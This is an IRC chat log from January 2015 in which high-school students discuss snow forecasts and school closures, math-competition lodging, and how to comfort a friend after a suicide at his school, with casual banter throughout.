[2015-01-25T17:25:50-0500] <+JacobEdelman> Tamini: they may have changed dramaticaly
[2015-01-25T17:25:52-0500] <+Tamini> JacobEdelman: whats up
[2015-01-25T17:25:54-0500] <+Tamini> damn
[2015-01-25T17:25:59-0500] <+Tamini> for the better or for the worse
[2015-01-25T17:26:01-0500] <+JacobEdelman> Tamini: up, much more for me
[2015-01-25T17:26:08-0500] <+Tamini> <3
[2015-01-25T17:26:10-0500] <+Tamini> oh bb
[2015-01-25T17:26:12-0500] <+JacobEdelman> Tamini: which may mean nothing, up or down for you
[2015-01-25T17:27:05-0500] <+JacobEdelman> I'm now seeing a total of what could be two feet of accumumlation between from monday night and tuesday
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[2015-01-25T17:28:27-0500] <alokpathy> JacobEdelman: Where are you getting this?
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[2015-01-25T17:28:37-0500] <alokpathy> weather.com still says 1-3in. for tomorrow
[2015-01-25T17:28:40-0500] <+JacobEdelman> http://forecast.weather.gov/MapClick.php?lat=40.29140737495146&lon=-74.61449953112765&site=all&smap=1#.VMVtUcu_TSW
[2015-01-25T17:28:43-0500] <+JacobEdelman> weather.gov
[2015-01-25T17:28:46-0500] <+JacobEdelman> much better
[2015-01-25T17:28:52-0500] <+JacobEdelman> and its 1-3 for tommorow during the day
[2015-01-25T17:28:57-0500] <+JacobEdelman> and then 8 to 11 during the night
[2015-01-25T17:29:01-0500] <+JacobEdelman> and than 10 to 14 tuesday
[2015-01-25T17:29:13-0500] <+JacobEdelman> *7 to 11 for the night
[2015-01-25T17:29:28-0500] <alokpathy> Oh, okay
[2015-01-25T17:29:32-0500] <alokpathy> I mean, even with 5-8 we probably wouldn't have school Tuesday. I was mainly concerned about Monday.
[2015-01-25T17:30:07-0500] • hardmath123_: checks snow predictions for Northern California.
[2015-01-25T17:30:11-0500] <hardmath123_> :(
[2015-01-25T17:30:47-0500] <+JacobEdelman> alokpathy: we'll probally have school monday
[2015-01-25T17:30:57-0500] <alokpathy> Unfortunately.
[2015-01-25T17:31:00-0500] <+JacobEdelman> but probaly not tuesdya, and I ahve no idea about wednesdya
[2015-01-25T17:31:04-0500] <alokpathy> Maybe a delay/early dismissal. 
[2015-01-25T17:31:11-0500] <alokpathy> ^for Monday.
[2015-01-25T17:31:26-0500] <+JacobEdelman> I asked ben if he thinks were gonna have school wednesday 
[2015-01-25T17:31:31-0500] <+JacobEdelman> he says hes sure he isn't
[2015-01-25T17:31:32-0500] <+JacobEdelman> :P
[2015-01-25T17:31:39-0500] <+JacobEdelman> darn princeton brakes
[2015-01-25T17:31:49-0500] <alokpathy> Jacob, your typing LOL
[2015-01-25T17:32:06-0500] <+JacobEdelman> wat?
[2015-01-25T17:32:13-0500] <+JacobEdelman> oh
[2015-01-25T17:32:20-0500] <alokpathy> "tuesdya" "ahve" "wednesdya"
[2015-01-25T17:32:22-0500] <+JacobEdelman> "but probaly not tuesdya, and I ahve no idea about wednesdya"
[2015-01-25T17:32:23-0500] <alokpathy> "brakes"
[2015-01-25T17:32:50-0500] <@awe> So much snow is going to happen.
[2015-01-25T17:32:59-0500] <alokpathy> awe: Especially for you :P
[2015-01-25T17:33:08-0500] <@awe> Yeah, it's like a foot every night. QQ
[2015-01-25T17:33:28-0500] <@awe> And there's already several inches on the ground.
[2015-01-25T17:33:38-0500] <assface> hardmath123_:probably rain
[2015-01-25T17:35:09-0500] <alokpathy> awe: You should go sledding :P
[2015-01-25T17:36:01-0500] <+Tamini> ughhhh
[2015-01-25T17:36:12-0500] <hardmath123_> jacob's trying to find a weather expert on #xkcd. i can almost imagine him asking for time on a NASA supercomputer to see how much it'll snow.
[2015-01-25T17:36:14-0500] <+Tamini> jwoglom: whats a trusty weather source for us?
[2015-01-25T17:36:18-0500] <+Tamini> LOL
[2015-01-25T17:36:25-0500] <+Tamini> is #xkcd worth joining?
[2015-01-25T17:36:28-0500] <hardmath123_> no
[2015-01-25T17:36:35-0500] <ubuntor> nop sledding?
[2015-01-25T17:36:37-0500] <+Tamini> :P
[2015-01-25T17:37:57-0500] <+JacobEdelman> hardmath123_: there was a weather expert yesterday who talked too me
[2015-01-25T17:38:05-0500] <+JacobEdelman> Tamini: join #xkcd
[2015-01-25T17:38:07-0500] <+JacobEdelman> its fun
[2015-01-25T17:38:15-0500] <+JacobEdelman> randall Monroe pinged me
[2015-01-25T17:38:18-0500] <+JacobEdelman> when I was on it
[2015-01-25T17:38:32-0500] <hardmath123_> that's not enough cause for a channel to be "fun"
[2015-01-25T17:38:38-0500] <+JacobEdelman> yes, yes it is
[2015-01-25T17:38:40-0500] <hardmath123_> there are occasional good conversations
[2015-01-25T17:38:49-0500] <+JacobEdelman> they did this when I was there http://wiki.xkcd.com/irc/Denzien_What-If_1
[2015-01-25T17:39:03-0500] <hardmath123_> but they're buried in mounds of pictures of puddle's cats
[2015-01-25T17:39:18-0500] <hardmath123_> and whenever i'm there, i end up having conversatiosn with bucket and feeling very ashamed
[2015-01-25T17:39:32-0500] <+JacobEdelman> theres nothing shamefull about having a bucket be your best freind
[2015-01-25T17:39:34-0500] <+JacobEdelman> :P
[2015-01-25T17:39:51-0500] <alokpathy> ubuntor: heheh
[2015-01-25T17:41:43-0500] <hardmath123_> {Tamini, JacobEdelman, alokpathy}: are you all living at the provided hosting/dorms for hmmmt?
[2015-01-25T17:42:00-0500] <+JacobEdelman> nope
[2015-01-25T17:42:18-0500] <+JacobEdelman> well, maybe
[2015-01-25T17:42:21-0500] <+JacobEdelman> we didn't last year
[2015-01-25T17:42:24-0500] <+JacobEdelman> we used a hotel
[2015-01-25T17:42:29-0500] <+Tamini> um
[2015-01-25T17:42:31-0500] <+JacobEdelman> we should
[2015-01-25T17:42:32-0500] <+Tamini> we're always at a hotel
[2015-01-25T17:42:34-0500] <+JacobEdelman> alokpathy: are we?
[2015-01-25T17:42:35-0500] <assface> meanwhile in Siberia: http://siberiantimes.com/ecology/casestudy/features/f0048-fears-for-unique-wildlife-as-heavy-snowfall-reaches-depths-of-one-metre/
[2015-01-25T17:43:06-0500] <alokpathy> hardmath123_: We're staying in a Hyatt.
[2015-01-25T17:43:31-0500] <+Tamini> WAIT
[2015-01-25T17:43:33-0500] <+Tamini> we might be also
[2015-01-25T17:43:37-0500] <+JacobEdelman> good!
[2015-01-25T17:43:41-0500] <+Tamini> that would be really fun
[2015-01-25T17:43:48-0500] <+JacobEdelman> yes, it would
[2015-01-25T17:43:50-0500] <+JacobEdelman> oh wait
[2015-01-25T17:43:52-0500] <+Tamini> my roommate is my best friend -> i can sneak out at 2am
[2015-01-25T17:43:55-0500] <+JacobEdelman> I'm not going to hmmt :(
[2015-01-25T17:44:02-0500] <hardmath123_> O_o
[2015-01-25T17:44:04-0500] <hardmath123_> why not?!
[2015-01-25T17:44:05-0500] <ubuntor> wait, thought we stayed at the same hotel as last year
[2015-01-25T17:44:20-0500] <hardmath123_> JacobEdelman: ^
[2015-01-25T17:44:27-0500] <+JacobEdelman> .... didn't make the team, jacob sad :(
[2015-01-25T17:44:35-0500] <+JacobEdelman> must have messed up on the tryout
[2015-01-25T17:44:46-0500] <+JacobEdelman> didn't make a or b, last year I made b, no idea what happened
[2015-01-25T17:44:47-0500] <+JacobEdelman> :(
[2015-01-25T17:44:51-0500] <+JacobEdelman> is depressing
[2015-01-25T17:45:18-0500] <assface> what kind of stuff do you do at hmmt?
[2015-01-25T17:45:21-0500] <+JacobEdelman> oh well, I'l just ghangout in and have alok carry me around on his phone
[2015-01-25T17:45:22-0500] <+JacobEdelman> :P
[2015-01-25T17:45:26-0500] <hardmath123_> also, i'm like 90% sure something tragic has just happened at my school, and I don't know what it is
[2015-01-25T17:45:28-0500] <+JacobEdelman> arseface: its a math competiton
[2015-01-25T17:45:33-0500] <alokpathy> hardmath123_: wat
[2015-01-25T17:45:41-0500] <hardmath123_> someone sent me "I don't know if you heard
[2015-01-25T17:45:43-0500] <hardmath123_> Considering your disconnect from mainstream social media
[2015-01-25T17:45:45-0500] <hardmath123_> "
[2015-01-25T17:45:56-0500] <+Tamini> wait
[2015-01-25T17:45:58-0500] <alokpathy> Pfft IRC is pretty mainstream.
[2015-01-25T17:45:58-0500] <+Tamini> were we not there last year
[2015-01-25T17:45:59-0500] <hardmath123_> and then in another email, someone said
[2015-01-25T17:46:01-0500] <hardmath123_> "We do understand that, due to recent events, it may be hard for some of you to join"
[2015-01-25T17:46:02-0500] <+Tamini> i may be confusing hotels
[2015-01-25T17:46:09-0500] <+Tamini> alokpathy: scratch that, lemme actually check
[2015-01-25T17:46:14-0500] <assface> yeah I know what it is
[2015-01-25T17:46:22-0500] <+Tamini> JacobEdelman: y u derp D:
[2015-01-25T17:46:25-0500] <assface> how hard is it I mean
[2015-01-25T17:46:43-0500] <+Tamini> and hardmath123: uhh
[2015-01-25T17:46:43-0500] <alokpathy> assface: If you get a nonzero score you're in like
[2015-01-25T17:46:45-0500] <alokpathy> the top half
[2015-01-25T17:46:45-0500] <+JacobEdelman> hardmath123_: there was a suicide
[2015-01-25T17:46:47-0500] <+JacobEdelman> hardmath123_: http://www.paloaltoonline.com/news/2015/01/24/palo-alto-teen-dies-by-suicide
[2015-01-25T17:46:53-0500] <+JacobEdelman> hardmath123_: you bad at recon
[2015-01-25T17:46:57-0500] <ubuntor> darn, i'm forgetting which memories to connect to which math competitions
[2015-01-25T17:47:16-0500] <alokpathy> Uh oh
[2015-01-25T17:47:21-0500] <assface> alokpathy: neat-o
[2015-01-25T17:47:22-0500] <ubuntor> ah, the Midtown Hotel
[2015-01-25T17:47:25-0500] <+JacobEdelman> hardmath123_: what the heck happens at your school?
[2015-01-25T17:47:33-0500] <ubuntor> stayed there for the past 2 years
[2015-01-25T17:47:38-0500] <hardmath123_> wut
[2015-01-25T17:47:59-0500] <+Tamini> hardmath123_:yes
[2015-01-25T17:48:01-0500] <+Tamini> listen to jacob
[2015-01-25T17:48:07-0500] <+Tamini> recon what happened'
[2015-01-25T17:48:16-0500] <hardmath123_> uhh
[2015-01-25T17:48:21-0500] <+Tamini> also hardmath123_: are you not staying in a dorm, then? :/
[2015-01-25T17:48:52-0500] <hardmath123_> idk where i'm staying, but atm it looks like MIT hosting
[2015-01-25T17:48:57-0500] <hardmath123_> i was hoping you guys would be there to
[2015-01-25T17:48:59-0500] <hardmath123_> *too
[2015-01-25T17:49:04-0500] <hardmath123_> also i'm sort of in shock right now
[2015-01-25T17:49:25-0500] <+JacobEdelman> hardmath123_: its sad... did you know the guy?
[2015-01-25T17:49:27-0500] <alokpathy> :(
[2015-01-25T17:49:30-0500] hardmath123_ (hardmath123@pdgn-00r.rgv.2bemd8.IP) left the channel ("So long, and thanks for all the fish.")
[2015-01-25T17:49:44-0500] <ubuntor> :/
[2015-01-25T17:50:09-0500] <alokpathy> Aw :/
[2015-01-25T17:50:25-0500] <+JacobEdelman> awww...
[2015-01-25T17:50:59-0500] <+JacobEdelman> ... we should make him something to cheer him up or something
[2015-01-25T17:51:50-0500] <+Tamini> D:
[2015-01-25T17:51:52-0500] <+Tamini> um
[2015-01-25T17:52:03-0500] <+Tamini> dammit he doesnt like pictures of cats
[2015-01-25T17:52:07-0500] <+Tamini> how else do you cheer someone up D:
[2015-01-25T17:52:30-0500] <+JacobEdelman> hmmm.... 
[2015-01-25T17:52:32-0500] <assface> you give them a poppu
[2015-01-25T17:52:35-0500] <assface> *puppy
[2015-01-25T17:52:46-0500] <+JacobEdelman> he likes poetry?
[2015-01-25T17:52:48-0500] <assface> liek a real puppy
[2015-01-25T17:52:51-0500] <+JacobEdelman> limericks maybe?
[2015-01-25T17:52:54-0500] <+JacobEdelman> or a puppy
[2015-01-25T17:53:07-0500] <+JacobEdelman> does anyone have a spare puppy?
[2015-01-25T17:53:20-0500] <assface> get oen on craigslist
[2015-01-25T17:53:40-0500] <+JacobEdelman> fine, does anyone want to deliver a puppy to northern california
[2015-01-25T17:54:05-0500] <alokpathy> Do we even know his address?
[2015-01-25T17:54:13-0500] <+Tamini> oh yeah
[2015-01-25T17:54:16-0500] <assface> lol
[2015-01-25T17:54:17-0500] <+Tamini> he really likes poetry
[2015-01-25T17:54:19-0500] <+Tamini> um
[2015-01-25T17:54:21-0500] <+Tamini> PRO RECON SKILLS
[2015-01-25T17:54:21-0500] <+Tamini> <3
[2015-01-25T17:54:21-0500] <assface> just ship it to "northern california"
[2015-01-25T17:54:23-0500] <jwoglom> Tamini: capital weather gang
[2015-01-25T17:54:29-0500] <+Tamini> jwoglom: status?
[2015-01-25T17:54:30-0500] <The_Master> @tell awe starbound server
[2015-01-25T17:54:30-0500] <awebot> The_Master: I'll let them know!
[2015-01-25T17:54:31-0500] <alokpathy> I think a limerick would be a good idea, yeah.
[2015-01-25T17:54:32-0500] <jwoglom> or srepetsk
[2015-01-25T17:54:35-0500] <+Tamini> LOL
[2015-01-25T17:54:39-0500] <+JacobEdelman> several limericks
[2015-01-25T17:54:43-0500] <+JacobEdelman> one from each?
[2015-01-25T17:54:44-0500] <+Tamini> go !sreptsk tomorrow's weather pls
[2015-01-25T17:54:45-0500] <+Tamini> lol
[2015-01-25T17:54:46-0500] <jwoglom> honestly, i'd stick with srepetsk :P
[2015-01-25T17:54:46-0500] <+JacobEdelman> in a story?
[2015-01-25T17:54:52-0500] <+Tamini> I had a limerickwriting session with him once
[2015-01-25T17:54:56-0500] <+Tamini> i think i just made him feel sad
[2015-01-25T17:54:57-0500] <jwoglom> Tamini: http://www.washingtonpost.com/blogs/capital-weather-gang/wp/2015/01/25/minor-snow-event-likely-tonight-second-more-disruptive-wave-possible-late-monday/
[2015-01-25T17:55:01-0500] <+Tamini> because my poetry was so crappy
[2015-01-25T17:55:08-0500] <+Tamini> >__>
[2015-01-25T17:55:09-0500] <assface> swiggity
[2015-01-25T17:55:12-0500] <+JacobEdelman> fine, than fanfic?
[2015-01-25T17:55:12-0500] <+Tamini> I DONT WANNA GO TO SCHOOL TOMORROW
[2015-01-25T17:55:14-0500] <+Tamini> damn
[2015-01-25T17:55:14-0500] <+JacobEdelman> about him
[2015-01-25T17:55:15-0500] <+Tamini> and LOL
[2015-01-25T17:55:16-0500] <jwoglom> Tamini: i know :(
[2015-01-25T17:55:17-0500] <+JacobEdelman> ?
[2015-01-25T17:55:23-0500] <+Tamini> maybe, brb fud
[2015-01-25T17:55:28-0500] <jwoglom> "The morning commute should not be terrible in the immediate metro area where schools may be able to open time; however, conditions will gradually get worse as you get north and northwest of Fairfax and central Montgomery County."
[2015-01-25T17:55:51-0500] <assface> >tfw no such thing as snow days
[2015-01-25T17:56:04-0500] <+JacobEdelman> arseface: there school got in a lot of troubel recentely for that
[2015-01-25T17:56:11-0500] <assface> well i mean
[2015-01-25T17:56:12-0500] <+JacobEdelman> arseface: lots of broken buses or whatever
[2015-01-25T17:56:16-0500] <+JacobEdelman> *their
[2015-01-25T17:56:20-0500] <assface> i don't think it's ever snowed here
[2015-01-25T17:56:29-0500] <assface> justi n the mountains
[2015-01-25T17:56:30-0500] <jwoglom> assface: second day back after break there was a small amount of snow projected in the morning
[2015-01-25T17:56:40-0500] <jwoglom> was supposed to be like 1-2"
[2015-01-25T17:56:48-0500] <alokpathy> JacobEdelman: I hope our school learns from TJ.
[2015-01-25T17:57:06-0500] <+JacobEdelman> so, for hardmath123_
[2015-01-25T17:57:06-0500] <jwoglom> we ended up getting more around 2-3", it screwed up all the roads because VDOT didn't plow them/put down sand quickly enough
[2015-01-25T17:57:12-0500] <+JacobEdelman> limerik or fanfic?
[2015-01-25T17:57:16-0500] <+JacobEdelman> or other
[2015-01-25T17:57:17-0500] <assface> hold up
[2015-01-25T17:57:18-0500] <jwoglom> also, it wasn't TJ's decision, it was FCPS' :P
[2015-01-25T17:57:19-0500] <alokpathy> Umm
[2015-01-25T17:57:22-0500] <assface> it rained in SB in 1949
[2015-01-25T17:57:25-0500] <assface> *snowed
[2015-01-25T17:57:30-0500] <alokpathy> jwoglom: Well, that general incident lol
[2015-01-25T17:57:49-0500] <jwoglom> yeah
[2015-01-25T17:58:11-0500] <alokpathy> JacobEdelman: I guess a limerick since he's into those.
[2015-01-25T17:58:23-0500] <+JacobEdelman> I agree, anybody else have votes?
[2015-01-25T17:59:23-0500] <+JacobEdelman> (if anybody is confused why we are trying to cheer hardmath123 up, please ask) (awe, Hyper, nezorg, that means you)
[2015-01-25T17:59:52-0500] <assface> I say mail him a puppy
[2015-01-25T18:00:39-0500] <+JacobEdelman> arseface: feel free
[2015-01-25T18:00:59-0500] <jwoglom> i don't think the postal service would like that
[2015-01-25T18:01:01-0500] <jwoglom> nor the puppy
[2015-01-25T18:01:12-0500] <+JacobEdelman> jwoglom: so, fanfic or limerick?
[2015-01-25T18:01:28-0500] <+JacobEdelman> (or other)
[2015-01-25T18:01:38-0500] <ubuntor> i vote limerick
[2015-01-25T18:01:51-0500] <+JacobEdelman> so, thats 3 votes for limericks
[2015-01-25T18:02:00-0500] <alokpathy> That doesn't seem very practical.
[2015-01-25T18:02:22-0500] <+JacobEdelman> and since by my calculations 3 is more than half of 19 (the # of people on this channell) 
[2015-01-25T18:02:27-0500] <assface> ^
[2015-01-25T18:02:27-0500] <+Tamini> hmm
[2015-01-25T18:02:28-0500] <+JacobEdelman> a majority want to write limericks
[2015-01-25T18:02:30-0500] <+Tamini> well i mean
[2015-01-25T18:02:36-0500] <assface> 19/2 = 3
[2015-01-25T18:02:37-0500] <+Tamini> kartik and i already have a doc set up
[2015-01-25T18:02:37-0500] <+JacobEdelman> well, if people have better ideas
[2015-01-25T18:02:42-0500] <+JacobEdelman> I'm okay with that
[2015-01-25T18:02:45-0500] <+Tamini> lemme actually chat him and see if hes okay
[2015-01-25T18:02:47-0500] <+Tamini> first
[2015-01-25T18:02:50-0500] <+JacobEdelman> Tamini: okay
[2015-01-25T18:02:50-0500] <+Tamini> before we do anything
[2015-01-25T18:02:59-0500] <alokpathy> Wow delayed messages make things seem awkward.
[2015-01-25T18:03:22-0500] <+JacobEdelman> arseface: you got a problem with my math?
[2015-01-25T18:03:38-0500] <assface> no
[2015-01-25T18:03:41-0500] <assface> it is flawless
[2015-01-25T18:03:41-0500] <ubuntor> you could always say it's the majority of the votes
[2015-01-25T18:03:58-0500] <+JacobEdelman> arseface; i don't believe in numbers larger than 4, thats why I like theoretical cs
[2015-01-25T18:04:33-0500] <alokpathy> @choose limerick fanfic
[2015-01-25T18:04:33-0500] <awebot> alokpathy: limerick fanfic
[2015-01-25T18:04:47-0500] <+Tamini> or, sweetie.
[2015-01-25T18:04:48-0500] <+Tamini> or.
[2015-01-25T18:04:52-0500] <alokpathy> @choose limerick or fanfic
[2015-01-25T18:04:52-0500] <awebot> alokpathy: limerick
[2015-01-25T18:04:55-0500] <jwoglom> couldn't you technically do a limerick fanfic tho? :P
[2015-01-25T18:04:56-0500] <+Tamini> oh
[2015-01-25T18:05:08-0500] <ubuntor> jwoglom: written entirely in limericks?
[2015-01-25T18:05:14-0500] <jwoglom> ubuntor: yup
[2015-01-25T18:05:37-0500] <assface> eggcelent
[2015-01-25T18:05:46-0500] <+JacobEdelman> thats a possibility too
[2015-01-25T18:05:52-0500] <+JacobEdelman> Tamini: did he reply?
[2015-01-25T18:06:33-0500] <+Tamini> gib time
[2015-01-25T18:06:58-0500] <+Tamini> lemme add him
[2015-01-25T18:07:09-0500] <+JacobEdelman> ok, well, wow we are waiting
[2015-01-25T18:07:19-0500] • JacobEdelman: tries to figure out how on earth to write a limerick
[2015-01-25T18:07:29-0500] <LittleBobbyTables> just write shit that rhymes
[2015-01-25T18:08:09-0500] <jwoglom> 3 sets of two lines that rhyme, yeah
[2015-01-25T18:08:22-0500] <nezorg> wtfffff javascript
[2015-01-25T18:08:23-0500] <+Tamini> hes not on hangout rn
[2015-01-25T18:08:24-0500] <+Tamini> but yeah
[2015-01-25T18:08:25-0500] <jwoglom> er, two, with the last one rhyming with the first
[2015-01-25T18:08:29-0500] <+Tamini> aabba
[2015-01-25T18:08:35-0500] <jwoglom> yeah
[2015-01-25T18:08:45-0500] <+JacobEdelman> well, according to the internets:
[2015-01-25T18:08:49-0500] <+JacobEdelman> Writing a Limerick's absurd,
[2015-01-25T18:08:49-0500] <+JacobEdelman> Line one and line five rhyme in word,
[2015-01-25T18:08:49-0500] <+JacobEdelman>   And just as you've reckoned
[2015-01-25T18:08:49-0500] <+JacobEdelman>   They rhyme with the second;
[2015-01-25T18:08:49-0500] <+JacobEdelman> The fourth line must rhyme with the third.
[2015-01-25T18:09:03-0500] <+Tamini> yeah
[2015-01-25T18:09:08-0500] <+Tamini> oh
[2015-01-25T18:09:15-0500] <+Tamini> i just found a cute poem from kartik
[2015-01-25T18:09:19-0500] <+Tamini> so we know the qulity we're competing with:
[2015-01-25T18:09:20-0500] <+Tamini> Capybaras, oh most adorable of creatures
[2015-01-25T18:09:20-0500] <+Tamini> Inspire us to write better features
[2015-01-25T18:09:20-0500] <+Tamini> 	They show us elegance, beauty and grace
[2015-01-25T18:09:20-0500] <+Tamini> 	With their tiny, cute little face
[2015-01-25T18:09:20-0500] <+Tamini> They are great UI teachers. 
[2015-01-25T18:09:47-0500] <+JacobEdelman> were not competing
[2015-01-25T18:09:49-0500] <+JacobEdelman> were learning
[2015-01-25T18:09:54-0500] <+Tamini> heh
[2015-01-25T18:09:59-0500] <+Tamini> all of these are so good
[2015-01-25T18:10:11-0500] <+JacobEdelman> well, for now
[2015-01-25T18:10:16-0500] <+JacobEdelman> I'm gonna work on mine
[2015-01-25T18:10:43-0500] <alokpathy> Apparently Gunn students are changing their profile pics. Should we?
[2015-01-25T18:11:04-0500] <+JacobEdelman> too what?
[2015-01-25T18:11:10-0500] <alokpathy> Uhh
[2015-01-25T18:11:10-0500] <alokpathy> hang on
[2015-01-25T18:11:26-0500] <alokpathy> https://fbcdn-sphotos-d-a.akamaihd.net/hphotos-ak-xpf1/v/t1.0-9/10348370_10204546194547534_390891258035766072_n.jpg?oh=ae3241aee851abe41c4c7a369f428226&oe=556993AB&__gda__=1432834708_7a1823c2d1120932050df06b9e6af702
[2015-01-25T18:12:36-0500] <+JacobEdelman> hmmm.. kartik isn't on fb so he wouldn't see it
[2015-01-25T18:12:38-0500] <ubuntor> JacobEdelman: just remember "iamb anapest anapest / iamb anapest anapest / anapest anapest / anapest anapest / anapest anapest anapest"
[2015-01-25T18:12:41-0500] <+JacobEdelman> but you can if you want
[2015-01-25T18:12:53-0500] <+JacobEdelman> ubuntor: great (rolls eyes)
[2015-01-25T18:12:59-0500] <alokpathy> I mean, still.
[2015-01-25T18:13:03-0500] <alokpathy> Tamini: ^?
[2015-01-25T18:13:04-0500] <+Tamini> alokpathy: i feel like
[2015-01-25T18:13:05-0500] <+Tamini> um
[2015-01-25T18:13:08-0500] <+Tamini> it's kinda just
[2015-01-25T18:13:10-0500] <+Tamini> invasive :/
[2015-01-25T18:13:14-0500] <alokpathy> I guess.
[2015-01-25T18:13:29-0500] <+Tamini> wait
[2015-01-25T18:13:34-0500] <+Tamini> do you know specifically what this is about
[2015-01-25T18:13:38-0500] <+Tamini> so do i have to recon
[2015-01-25T18:13:47-0500] <alokpathy> What's "this"?
[2015-01-25T18:14:03-0500] <+Tamini> one sec
[2015-01-25T18:15:19-0500] <assface> he posted a lank
[2015-01-25T18:15:25-0500] <+Tamini> um
[2015-01-25T18:15:38-0500] <+Tamini> i may have missed it
[2015-01-25T18:15:40-0500] <+Tamini> anyone wana remind?
[2015-01-25T18:15:49-0500] <assface> some suicide at penn state
[2015-01-25T18:15:53-0500] <assface> i didn't click it
[2015-01-25T18:16:03-0500] <assface> I assume he knew the guy
[2015-01-25T18:16:04-0500] <+Tamini> oh
[2015-01-25T18:16:12-0500] <alokpathy> Wait, Penn State?
[2015-01-25T18:16:13-0500] <alokpathy> What?
[2015-01-25T18:16:17-0500] <assface> or
[2015-01-25T18:16:28-0500] <assface> someplace starting with p
[2015-01-25T18:16:31-0500] <assface> idk mang
[2015-01-25T18:16:42-0500] <alokpathy> I think it was at the high school he goes to.
[2015-01-25T18:16:44-0500] <alokpathy> Gunn.
[2015-01-25T18:17:03-0500] <+Tamini> yeah
[2015-01-25T18:17:07-0500] <+Tamini> damn.
[2015-01-25T18:17:48-0500] <+JacobEdelman> http://www.paloaltoonline.com/news/2015/01/24/palo-alto-teen-dies-by-suicide
[2015-01-25T18:17:57-0500] <+JacobEdelman> its the second one in a short amount of time
[2015-01-25T18:18:03-0500] <+JacobEdelman> (maybe more than second, I'm not sure)
[2015-01-25T18:18:16-0500] <+JacobEdelman> he may not know the person
[2015-01-25T18:18:20-0500] <+Tamini> alright guys lets stop pressing it for now
[2015-01-25T18:18:23-0500] <+JacobEdelman> since I think he found out what happened
[2015-01-25T18:18:29-0500] <+JacobEdelman> when I mentioned it
[2015-01-25T18:18:36-0500] <+JacobEdelman> *linked it
[2015-01-25T18:18:39-0500] <+Tamini> :/
[2015-01-25T18:18:41-0500] <+JacobEdelman> and the article does not have a name
[2015-01-25T18:18:42-0500] <+JacobEdelman> gtg
[2015-01-25T18:19:08-0500] <+JacobEdelman> hardmath123:  if you're looking through these logs, we feel for you
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[2015-01-25T18:19:21-0500] <alokpathy> Wait, there were two?
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[2015-01-25T18:34:07-0500] <alokpathy> Tamini: Still no response?
[2015-01-25T18:34:30-0500] <+Tamini> yeah
[2015-01-25T18:34:35-0500] <+Tamini> i dont think hes on rn at all :/
[2015-01-25T18:37:03-0500] <alokpathy> Oh...
[2015-01-25T19:09:31-0500] <+JacobEdelman> so, time to make limericks?
[2015-01-25T19:10:48-0500] <+JacobEdelman> also, alokpathy: we may miss several days of school, tuesday is definite, wednesday is maybe, thursday is possibly
[2015-01-25T19:10:54-0500] <+JacobEdelman> stock up on food and internets
[2015-01-25T19:11:02-0500] <alokpathy> Maybe Monday
[2015-01-25T19:11:07-0500] <+JacobEdelman> unlikely
[2015-01-25T19:11:20-0500] <alokpathy> I'm also trying to be hopeful.
[2015-01-25T19:11:31-0500] <+JacobEdelman> :P
[2015-01-25T19:29:24-0500] <The_Master> JacobEdelman: come down and watch Gothem with Ben and me.
[2015-01-25T19:29:34-0500] <+JacobEdelman> fine
[2015-01-25T19:30:35-0500] <+Tamini> lol
[2015-01-25T19:32:28-0500] <The_Master> JacobEdelman: come
[2015-01-25T19:32:46-0500] <+JacobEdelman> fine
[2015-01-25T19:32:48-0500] <+JacobEdelman> soon
[2015-01-25T19:32:53-0500] <+JacobEdelman> code geass too good
[2015-01-25T19:33:04-0500] <The_Master> Tamini: he only listens if I tell him over the irc
[2015-01-25T19:33:45-0500] <The_Master> JacobEdelman: Now!
[2015-01-25T19:35:17-0500] <+JacobEdelman> Tamini: pizza hut product placement :P
[2015-01-25T19:42:44-0500] <Hyper> JacobEdelman: yep, welcome to code geass
[2015-01-25T19:42:56-0500] <Hyper> where the pizza hut is so real it hurts
[2015-01-25T19:53:01-0500] <alokpathy> .
[2015-01-25T19:53:16-0500] <alokpathy> I still think we should have gone to Allegro's at 3am.
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[2015-01-25T20:07:51-0500] <assface> hey
[2015-01-25T20:08:06-0500] <assface> us01: did you remove wangblows yet?
[2015-01-25T20:21:14-0500] <+Tamini> lol
[2015-01-25T20:21:27-0500] <+Tamini> that moment when i'm practicing for a presentation and i no longer remember which part is mine
[2015-01-25T20:21:54-0500] <alokpathy> oops
[2015-01-25T20:24:00-0500] <+Tamini> i can totally
[2015-01-25T20:24:04-0500] <+Tamini> bs 18 minutes
[2015-01-25T20:24:04-0500] <+Tamini> totally
[2015-01-25T20:31:27-0500] <nezorg> what presentation do you have that's 18 minutes long?
[2015-01-25T20:31:44-0500] <nezorg> Tamini: ^
[2015-01-25T20:31:45-0500] <nezorg> xb
[2015-01-25T20:31:49-0500] <nezorg> (oops)
[2015-01-25T20:31:58-0500] <+Tamini> umm
[2015-01-25T20:32:03-0500] <+Tamini> orgo research proposal
[2015-01-25T20:32:18-0500] <+Tamini> its been a while since i wrote it so >1/2 these words make 0 sense
[2015-01-25T20:32:29-0500] <nezorg> orgo?
[2015-01-25T20:34:07-0500] <+Tamini> organic chemistry!
[2015-01-25T20:35:09-0500] <nezorg> ah
[2015-01-25T20:35:16-0500] <nezorg> where does the second o come from?
[2015-01-25T20:36:20-0500] <+Tamini> well how else would you abbreviate it? :P
[2015-01-25T20:36:38-0500] <jwoglom> orgchem?
[2015-01-25T20:37:37-0500] <nezorg> I've usually heard ochem
[2015-01-25T20:38:29-0500] <+Tamini> ochem doesnt flow when you say it tho
[2015-01-25T20:38:44-0500] <+Tamini> "whats the orgo hw"
[2015-01-25T20:38:53-0500] <+Tamini> is easier to say than "whats the ochem hw"
[2015-01-25T20:40:55-0500] <nezorg> oh, syriza won
[2015-01-25T20:41:00-0500] <nezorg> should be interesting
[2015-01-25T20:44:23-0500] <+Tamini> adskjfsd
[2015-01-25T20:44:25-0500] <+Tamini> people are 
[2015-01-25T20:44:26-0500] <+Tamini> giving me hope
[2015-01-25T20:44:37-0500] <+Tamini> that we arent going to have school
[2015-01-25T20:44:58-0500] <jwoglom> Tamini: it's probably better to not think it's cancelling
[2015-01-25T20:45:06-0500] <jwoglom> because then you feel happy if it does
[2015-01-25T20:45:19-0500] <jwoglom> otherwise then you just feel ugh all day
[2015-01-25T20:45:39-0500] <+Tamini> i need to go to school tuesday
[2015-01-25T20:45:46-0500] <+Tamini> but i dont want to go tomrorow
[2015-01-25T20:46:30-0500] <jwoglom> can we like go to all of FCPS' bus depots
[2015-01-25T20:46:32-0500] <jwoglom> and make them all not work
[2015-01-25T20:46:41-0500] <assface> terrorism is best ism
[2015-01-25T20:46:56-0500] <jwoglom> it's not terrorism -- it's patriotism!
[2015-01-25T20:47:14-0500] <jwoglom> days off school are a part of the american dream
[2015-01-25T20:47:55-0500] <+Tamini> hey
